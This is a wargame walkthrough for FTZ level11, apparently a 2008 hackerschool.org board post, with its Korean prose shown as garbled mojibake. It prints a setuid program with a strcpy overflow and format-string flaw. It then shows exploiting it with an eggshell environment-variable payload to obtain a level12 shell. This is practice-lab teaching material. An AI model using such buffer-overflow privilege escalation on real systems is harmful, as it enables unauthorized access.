http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_level&no=2681 [º¹»ç]
[level11]
¿ª½Ã³ª ÈùÆ® ÆÄÀÏÀÌ ÀÖ´Ù. ±×¸®°í attackme¶ó´Â ´ÙÀ½ ·¹º§ÀÇ suidÆÄÀϵµ º¸ÀδÙ. ÀÏ´Ü ÈùÆ®¸¦ º¸ÀÚ.
[level11@ftz level11]$ cat hint
#include <stdio.h>
#include <stdlib.h>
int main( int argc, char *argv[] )
{
char str[256];
setreuid( 3092, 3092 );
strcpy( str, argv[1] );
printf( str );
}
ÀüÇüÀûÀÎ ¹öÆÛ ¿À¹öÇ÷οì´Ù. strcpy´Â ¹®ÀÚ¿ ±æÀÌ¿¡ ´ëÇÑ °Ë»ç¸¦ ÇÏÁö ¾Ê±â ¶§¹®¿¡ ¹öÆÛ ¿À¹öÇ÷ο찡 ÀϾÙ. ¿ì¸®ÀÇ ÀýÄ£ÇÑ ÇÁ·Î±×·¥ÀÎ egg.c¸¦ ¾²ÀÚ. ¿¡±×½©À» ¿ö³« À¯¸íÇϹǷΠ¼Ò½º¸¦ ÷ºÎÇÏÁö´Â ¾Ê°Ú´Ù. ¾Ë¾Æ¼ ±¸Çضó. ¹°·Ð ¿¡±×½©À» ¾²Áö ¾Ê°í ½©Äڵ带 Á÷Á¢ ½á³Ö¾îÁ־ µÈ´Ù. ¹Ì´ÏȨÇÇ °Ô½ÃÆÇ¿¡ º¸¸é 24byte ½©Äڵ尡 ÀÖÀ¸´Ï È°¿ëÇϽöó~ ÇÏÁö¸¸ ±×·²°æ¿ì Á÷Á¢ ½á³Ö¾îÁÖ¾î¾ß ÇÏ´Â ¹ø°Å·Î¿òÀÌ ÀÖÀ¸¹Ç·Î ¿¡±×½©À» »ç¿ëÇØ $RET¸¦ »ç¿ëÇÏ´Â °ÍÀ» ÃßõÇÑ´Ù. $RET´Â ½©ÁÖ¼Ò4byte¸¦ ¹«ÇÑÁ¤À¸·Î Áý¾î³ÖÀº ȯ°æº¯¼öÀÌ´Ù. ¿¡±×½©À» ±¸Çߴµ¥ °ø±³·Ó°Ôµµ ÆÀ¸â¹öÀ̴̼ø ÆмöÄÏ´ÔÀÇ ºí·Î±×¿¡¼ ±¸Çß´Ù´Â... ǪÇÏÇÏ! ¼¾½ºÀÖ°Ô tmpÆú´õ·Î ³»·Á°¡¼ ÀÛ¾÷ÇØÁÖÀÚ.
[level11@ftz tmp]$ gcc -o egg egg.c
egg.c: In function `main':
egg.c:17: warning: return type of `main' is not `int'
[level11@ftz tmp]$ ./egg
Using address: 0xbffffab8
sh-2.05b$
¿¡±×½© »óÅ·Πµé¾î¿Ô´Ù. ½©ÁÖ¼Ò´Â 0xbffffab8ÀÌ´Ù. Á÷Á¢ ½áµµ µÇÁö¸¸ °Á $RET¸¦ ÀÌ¿ëÇÏÀÚ.
sh-2.05b$ ./attackme $RET
sh-2.05b$ id
uid=3092(level12) gid=3091(level11) groups=3091(level11)
sh-2.05b$
°£´ÜÈ÷ ·¹º§12ÀÇ ±ÇÇÑÀ» ¾ò¾ú´Ù. Æнº¿öµå¸¦ È®ÀÎÇÏ°í ´ÙÀ½·¹º§·Î ³Ñ¾î°¡ÀÚ. ¾ÆÂü ³ª¿Ã¶§ ÀÛ¾÷ÇÑ ÆÄÀÏÀº Áö¿öÁÖ´Â ¼¾½º¸¦ ¹ßÈÖÇÏÀÚ |
Hit : 3503 Date : 2008/03/25 01:20
|